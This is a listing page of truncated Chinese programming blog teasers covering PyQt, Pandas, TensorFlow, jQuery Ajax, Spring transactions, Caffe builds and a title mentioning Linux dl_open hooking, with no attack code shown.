    今天准备总结一下pyqt编写界面的经验 这样以后遇到同样问题就可以查看并且很快回忆起来 环境搭建 经过一周的研究 我发现使用pyqt编写界面最快的方式还是eric pycharm 使用eric6和pycharm同时打开你正在编写的程序 需要
  • Python数据分析(Pandas)

    pandas基础数据结构 有以下两种 Series 与array很像也和list相同 Series能保存不同的种数据类型 包括字符串 bool值 数字等等 DataFrame 二维的表格型数组结构 以下内容以DataFrame为主 Seri
  • 介绍 TensorFlow 的基本概念和使用场景

    TensorFlow 是一个开源的机器学习框架 由 Google 开发 它的核心是张量 tensor 计算 用于构建神经网络等深度学习模型 以下是 TensorFlow 的基本概念和使用场景 张量 Tensor TensorFlow 中的计
  • 随机产生六位数密码

    function randStr len 6 format ALL switch format case ALL chars ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234
  • jquery ajax无刷新跳转,jQuery+Ajax实现无刷新操作

    使用jQuery实现Ajax操作 想要实现Ajax页面无刷新效果 但是直接利用Ajax代码实在有些麻烦 所以就想用jQuery实现 jQuery很好的封装了Ajax的核心对象XMLHTTPRequest 所以用起来非常方便 首先 创建服务器
  • MIPI D-PHY TX 一致性测试实例解析 Part 01

    序言 MIPI D PHY TX端的一致性测试内容如下 总共分为6组 因产品应用场景的需求限制 小编在日常工作中 更多地关注红色所标识的测试内容 接下来 小编将分为三个章节 具体解析下Group3 5的测试内容 Group 1 1 1 x
  • 用 Python 批量下载百度图片

    为了做一个图像分类的小项目 需要制作自己的数据集 要想制作数据集 就得从网上下载大量的图片 再统一处理 这时 一张张的保存下载 就显得很繁琐 那么 有没有一种方法可以把搜索到的图片直接下载到本地电脑中呢 有啊 用python吧 我以 泰迪
  • 掌优和合作伙伴一起做智慧生活场景

    青蛙智能设备是微信推出的刷脸支付智能硬件产品 微信团队并不会下场亲自做硬件 而是只负责产品设计 制造和铺设工作由第三方服务商进行 线下便利店对于这类体积小 支付便捷的设备有很大兴趣 对于这类硬件产品来说 量产能力以及铺设数量是决定性因素 去
  • Vuforia⭐二、动态修改识别目标和3D物体

    目录 本节的目标 动态识别的实现方法 本节的目标 本章目标为不设置ImageTarget Unity完成动态识别识别图 动态识别的实现方法 1 Vuforia官网上传识别目标 下载unitypackage并导入Unity 2 导入Vufor
  • Spring 事务详解

    目录 一 概述 二 事务的特性 ACID 三 Spring 的事务管理 3 1 编程式事务管理 3 2 编程式事务管理 四 Spring 事务管理接口及其定义的属性 4 1 PlatformTransactionManager 事务管理接口
  • c++入门笔记-list链表

    list基本概念 功能 将数据进行链式存储 链表是一种物理存储单元上非连续的存储结构 数据元素的逻辑顺序是通过链表中的指针链接实现 链表的组成 由一系列结点组成 结点的组成 一个是存储元素的数据域 另一个是存储下一个结点地址的指针域 stl
  • SQL练习题之求平均分低于80分的班级学生各科成绩并合计学生总分

    是对是错也好 不必说了 是怨是爱也好 不须揭晓 何事更重要 比两心的需要 柔情蜜意怎么可缺少 说不出再见 谭咏麟 文章目录 前言 一 练习题题目 二 创建测试数据 一 创建测试表 二 插入测试数据 三 思路 四 解答 一 详细代码 二 结果
  • windows Caffe 动态库 静态库 编译教程

    博主所在的教研室要使用Caffe实现机械臂的控制环节中的预测部分 其中涉及到了Caffe的编译以及LSTM层的添加到最终的caffe的动态库和静态库的编译及使用 整个过程一言难尽 特写此博客纪念 首先是caffe的编译 网上的教程都是大同小
  • linux dl_open hook

    http www myhack58 com Article html 3 68 2012 35408 htm 一步一步走进Linux HOOK API 八 分类 Linux 2012 07 23 21 30 385人阅读 评论 1 收藏 举